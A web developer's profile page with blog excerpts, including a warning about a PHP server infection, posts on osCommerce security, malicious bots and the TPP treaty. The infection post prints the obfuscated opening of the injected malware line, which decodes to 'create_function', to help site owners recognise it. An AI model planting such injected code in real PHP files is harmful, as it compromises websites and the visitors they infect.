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Karen Chun
  • Paia, HI
  • United States
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Occupation:
Web Developer
Company:
Karen Chun Website Design
Areas of Interest (Robotics, Software Architecture, Green Energy, Web 2.0, etc.):
Customizing wordpress and oscommerce. Javascript games.
Software Language Proficiencies / Interests:
C, Fortran, HTML, Java, Javascript, PHP, SQL
About Me:
Founded Redwood Games and developed Word Rescue, Math Rescue, Talking ABC's, Rescue the Scientist, Pickle Wars.
Website:
http://karenchun.com
Secondary Website:
http://redwoodgames.com

Karen Chun's Blog

$zend_framework crack

Watch out for a new server infection.  No one is sure but it is thought it begins with brute force guessing of a wordpress login.



Then every php file is prepended with:



<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework(  

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This apparently inserts a malicious snippet of java into your wordpress pages - that you do not see but which infects the user's computer.

At the same…

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Posted on June 16, 2013 at 9:39pm

Son of SOPA

They're baaaack! We fought SOPA but now the media companies have come up with something even worse - and they're trying to get it through via the Trans-Pacific Partnership Treaty. https://www.eff.org/issues/tpp

Posted on June 27, 2012 at 10:43am

Securing Your Oscommerce Site



Off-the-shelf oscommerce is inherently hackable.  But you can secure it by following these steps:

 

Steps 1, 2 and 3 are absolutely essential. Step 4 is important if you're using any oscommerce contributions (e.g. community supplied modifications and enhancements) but it is a good idea anyway because it adds extra protection from SQL injection hacks.

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Posted on May 5, 2011 at 1:30pm — 9 Comments

Watching for Malicious Bots

 

It's instructive to watch the various malicious bots troll through your server looking for vulnerabilities.  Woe betide you if they find one!  Even Wordpress.com has been hacked.  Prior to that, at the beginning of this year, a significant number of stand alone Wordpress installations were hacked when their owners did not update to the newest security release.

Here's how you can recognize a malicious bot.  If you are using Cpanel, go to "Error Log".  You'll see a whole list…

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Posted on May 2, 2011 at 2:05pm — 4 Comments

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